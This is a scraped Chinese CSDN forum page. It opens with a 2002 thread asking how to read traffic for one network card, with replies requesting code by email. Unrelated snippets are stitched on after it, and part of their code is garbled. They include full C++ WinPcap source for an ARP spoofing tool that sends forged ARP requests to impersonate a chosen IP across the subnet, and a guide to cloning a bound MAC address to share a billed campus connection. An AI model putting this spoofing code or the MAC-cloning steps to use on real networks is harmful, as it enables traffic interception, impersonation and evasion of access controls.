在多网卡的主机上怎样获得给定网卡的流量信息?

richardlf 2002-04-04 04:42:10
rt
...全文
36 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
coolc 2002-09-01
  • 打赏
  • 举报
回复
谢谢
也给我发送一份吧:crossc@sina.com
qrlvls 2002-09-01
  • 打赏
  • 举报
回复
qrao@163.com
Thanks
lord_tyreal 2002-09-01
  • 打赏
  • 举报
回复
我也要,谢谢
dingl@mail.sdu.edu.cn
migrate 2002-09-01
  • 打赏
  • 举报
回复
也给我发送一份吧:morenew@sohu.com
谢谢
djhdu 2002-09-01
  • 打赏
  • 举报
回复
给我一份吧:djhdu@371.net
bonnyone 2002-09-01
  • 打赏
  • 举报
回复
li_sir0923@sohu.com
give me!!!
xlander 2002-09-01
  • 打赏
  • 举报
回复
coolgrass@sina.com
yjwan 2002-09-01
  • 打赏
  • 举报
回复
也给我一份吧,谢谢。
frog_huang@hotmail.com
l___jl 2002-09-01
  • 打赏
  • 举报
回复
给我一份,谢谢
bingle@0451.com
albert 2002-07-10
  • 打赏
  • 举报
回复
我刚好有这方面的例程(类),给我EMAIL地址。
使用Dr.COM 共享上网 方法一: 使用允许代理的计费网关,+ 代理软件(如CCProxy) 上网. 方法二: 使用兼容版计费0.31 + 路由器 (宽带路由器即可) (1). 准备工作: A. 把上网线接到路由WAN端,四台连上电脑的网线接到LAN端。 B. 各电脑都安装好兼容客户端(建议大家在使用兼容端前先把学校用的那个DR.COM先卸载掉)。 C. (可选)在已被绑定网卡的那台电脑上查看其网卡地址MAC并记录下来 (网络连接-右键本地连接-状态-支持-详细信息,实际地址就是MAC了), 查看本机MAC的方法:开始/运行/输入 ipconfig /all (2). 设置电脑IP和其它 已绑定过网卡的电脑设为192.168.1.2(即主机,被绑定过的那台机) 其它的可依次为192.168.1.3...254 , 子网掩码全为255.255.255.0 网关全为192.168.1.1 (由路由器的IP决定) DNS为 网管给定的DNS IP地址 (3). 路由设置(在浏览器中输入路由的网关,在这里输入192.168.1.1) WAN端的上网设置为静态IP上网,把学校给的IP.子网掩码(255.255.255.0).网关和DNS(202.96.134.133)填上 (例如,学校给你的IP是10.204.70.110,网关就应填上10.204.70.254,就是说你所在的网关前三位数同学校给你IP的,后面一位是254) WAN端的MAC更改为刚才记录下来的MAC DMZ主机设为主机IP,即192.168.1.2 不启用DHCP 重启路由 (4). 使用兼容端软件 Dr.COM 0.31 在主机上 共享-服务器,登陆-输入学校给的服务器地址(第二版),帐号.密码和IP (这样主机就可以连上网络了..) 在客户机上 共享-客户机,登陆-输入主机的IP-192.168.1.2,(这样客户机也能上了.) 这种共享的原理是让一台主机负责拔号,登陆校园网,然后其它的机器就从这主机共享网络带宽。 所以必须只有主机上网了,客户机才能上网的.这么说来那岂不是很麻烦,次次都得那台机上先才能上, 但是在变通下,其实任何一台机器都可以作为主机的。 用兼容端时用主机的登陆方式,之后如果主机又要开机上的话,一样的改法,把主机的MAC随便改成别一个, 只要不和一起上网的这几台机一样就行了,IP也改成其它的,用客户机的方式上 (5). 更改Mac地址方法: 首先把上面所说的客户机的网卡地址(MAC)改为已绑定的网卡地址(上面的准备工作中有记录), 控制面板-网络连接-右键本地连接-属性-配置-高级-在下面属性栏中选中Network Address -右边的点选值,然后输入之前记录下来的MAC-确定。 然后把IP改为主机的IP。
计算机网络课程设计 实验报告 "实验内容和要求 " " " "1、实验一 数据包的捕获与分析 " "Wireshark是一种开源的网络数据包的捕获和分析软件,本实验通过Wires" "hark软件的安装使用,监控局域网的状态,捕获在局域网中传输的数据包" ",并结合在计算机网络课程中学习到的理论知识,对常用网络协议的数据" "包做出分析,加深网络课程知识的理解和掌握。具体内容及要求如下: " "Wireshark软件的安装; " "Wireshark软件的启动,并设置网卡的状态为混杂状态,使得Wireshark可" "以监控局域网的状态; " "启动数据包的捕获,跟踪PC之间的报文,并存入文件以备重新查; " "设置过滤器过滤网络报文以检测特定数据流; " "对常用协议的数据包的报文格式进行分析,利用协议分析软件的统计工具" "显示网络报文的各种统计信息。 " " " " " " " "2、实验二 网络层实验—Ping程序的设计与实现 " "实验目的 " "本实验目的是使学生掌握网络层协议的原理及实现方法。 " "实验设计内容 " "本实验为ICMP实验。实验内容:Ping命令实现的扩充,在给定的Ping程序" "的基础上做如下功能扩充: " "-h 显示帮助信息 " "-b 允许ping一个广播地址,只用于IPv4 " "-t 设置ttl值,只用于IPv4 " "-q 安静模式。不显示每个收到的包的分析结果,只在结束时,显示汇总 " "结果 " " " "Ping命令的基本描述 " "Ping的操作是向某些IP地址发送一个ICMP Echo消息,接着该节点返回一 " "个ICMP Echo replay消息。ICMP消息使用IP头作为基本控制。 " " " " " " " " " " " " " " " " " " " " " "二、实验环境 " " " "实验一 数据包的捕获与分析 " "1.联网计算机 " "2.Windows 或linux 系统 " "3.在PC中安装协议分析软件(如:Wireshark) " "4.物理基础: " "IEEE802.3 标准的以太网采用的是持续 CSMA " "的方式,正是由于以太网采用这种广播信道争用的方式,使得各个站点可" "以获得其他站点发送的数据。运用这一原理使信息捕获系统能够拦截的我" "们所要的信 " "5.工作模式: " "1) 广播模式(Broad Cast Model):它的物理地址(MAC)地址是 " "0Xffffff 的帧为广播帧,工作在广播模式的网卡接收广播帧。 " "2) 多播传送(MultiCast Model):多播传送地址作为目的物理地址的 " "帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果" "将网卡设置为 多播传送模式,它可以接收所有的多播传送帧,而不论它 " "是不是组内成员。 " "3) 直接模式(Direct " "Model):工作在直接模式下的网卡只接收目地址是自己 MAC地址的帧。 " "4) 混杂模式(Promiscuous Model):工作在混杂模式下的网卡接收所 " "有的流过网卡的帧,信包捕获程序就是在这种模式下运行的。 " " " " " " " "实验二 网络层实验—Ping程序的设计与实现 " "联网计算机 " "Linux系统 " "系统自带编译环境 " " " " " " " " " " " "程序的需求分析与逻辑框图 " "需求分析 " " " "1、实验一 " "数据包的捕获与分析 " " " "1>.在PC中安装协议分析软件。 " "2>.启动Wireshark协议分析软件,选择抓包菜单项启动实时监视器,开始" "实时跟踪显示网络数据报文。可根据系统提示修改显示方式。 " "3>.调出跟踪存储的历史报文,选择有代表性的ETHERNET,IEEE802.3,IP" ",ICMP,TCP,UDP报文,对照有关协议逐个分析报文各字段的含义及内容" "。 " "4>.设置过滤器属性,如目的地址,源地址,协议类型等。如过滤不需要 " "的网络报文,过滤器允许设置第二层,第三层或第四层的协议字段。 " " " " " " " " " "2、实验二 " "网络层实验—Ping程序的设计与实现 " " " "PING程序是我们使用的比较多的用于测试网络连通性的程序。PING程序给" "予ICMP使用ICMP的回送请求和回送应答来工作。ICMP是基于IP的一个协议" ",ICMP包通过IP的封装之后传递。实现检测网络通畅及速度的ping,并扩" "展以下功能: " "-h 显示帮助信息 " "-b 允许ping一个广播地址,只用于IPv4 " "-t 设置ttl值,只用于IPv4 " "-q 安静模式,不显示
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:IP协议类型为0X0800 unsigned char add_len; //硬件地址长度:MAC地址长度为6B unsigned char pro_len; //协议地址长度:IP地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_ip; //源IP地址:发送方的IP地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址 unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP, unsigned long destIP); #endif //ArpCheat.cpp #include #include #include #include #include #include "ArpCheat.h" int main(int argc,char* argv[]){ pcap_if_t *alldevs; //全部网卡列表 pcap_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量 pcap_t *adhandle; //一个pcap实例 char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //本机MAC地址 unsigned char *packet; //ARP包 unsigned long fakeIp; //要伪装成的IP地址 pcap_addr_t *pAddr; //网卡地址 unsigned long ip; //IP地址 unsigned long netmask; //子网掩码 if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表获得要伪装的IP地址 fakeIp = inet_addr(argv[1]); if(INADDR_NONE==fakeIp){ fprintf(stderr,"Invalid IP: %s\n",argv[1]); return -1; } /* 获得本机网卡列表 */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->description) printf(". %s\n", d->description); else printf(". No description available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://" printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle= pcap_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个IP地址 ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该IP地址对应的子网掩码 netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!ip || !netmask){ continue; } //看看这个IP和要伪装的IP是否在同一个子网 if((ip&netmask)!=(fakeIp&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n主机的IP地址,网络字节顺序 unsigned long destIp = net | htonl(n); //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的 packet = BuildArpPacket(mac,fakeIp,destIp); if(pcap_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,"pcap_sendpacket error.\n"); } } } return 0; } /** * 获得网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * srcIP 源IP * destIP 目的IP */ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP) { static struct arp_packet packet; //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,IP为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度:MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度:IP地址长度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源IP地址 packet.arp.sour_ip = srcIP; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的IP地址 packet.arp.dest_ip = destIP; //填充数据,18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 中使用WinPcap 下载并安装WinPcap,安装之后在目录”C:\WINDOWS\system32“下WinPcap添加了Packet.dll、wpcap.dll。 增加WinPcap的include和lib路径: Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。 增加项目的静态链接库: Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 增加预编译信息: Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。
包含源代码以及测试说明 题目如下: 1. 系统管理员每天要做大量任务,请编写shell脚本来减轻工作负担吧。要求如下: (1)首先编写一个主文本菜单,通过输入各菜单项的编号,调用以下(2)到(6)小题的功能; (2)添加“账号管理”子菜单。其有3项功能:a.添加帐号,允许交互式输入账号名和密码;b.删除账号,允许交互式输入账号名,需要验证账号是否存在;c.从使用者指定的文件中批量添加20个账号。 (3)添加“磁盘管理”子菜单。其有3项功能:a.查看当前系统硬盘分区情况;b.监控根分区磁盘容量,小于给定值(该值可由使用者手动设置)时通过邮件向管理员报警;c.计算各账户家目录占用磁盘空间的大小,找出前十名账户,生成一个以当前日期命名的报告。 (4)添加“网络管理”子菜单。其有2项功能:a.测试本地局域网整个网段中哪些主机处于开机状态,哪些主机处于关机状态;b.实时显示本地网卡(使用者可指定)发送的数据包流量。 (5)自动备份功能:要允许设置时间周期,需要备份的源文件目录,生成的归档文件要求是一个以日期时间命名的压缩文件。 (6)添加“文件管理”子菜单。其有3项功能:a. 统计某目录(由使用者指定)下有多少个文件,并显示这些文件名;b. 给某目录下(由使用者指定)的所有文件批量改名;c. 修改指定文件的权限。

16,472

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧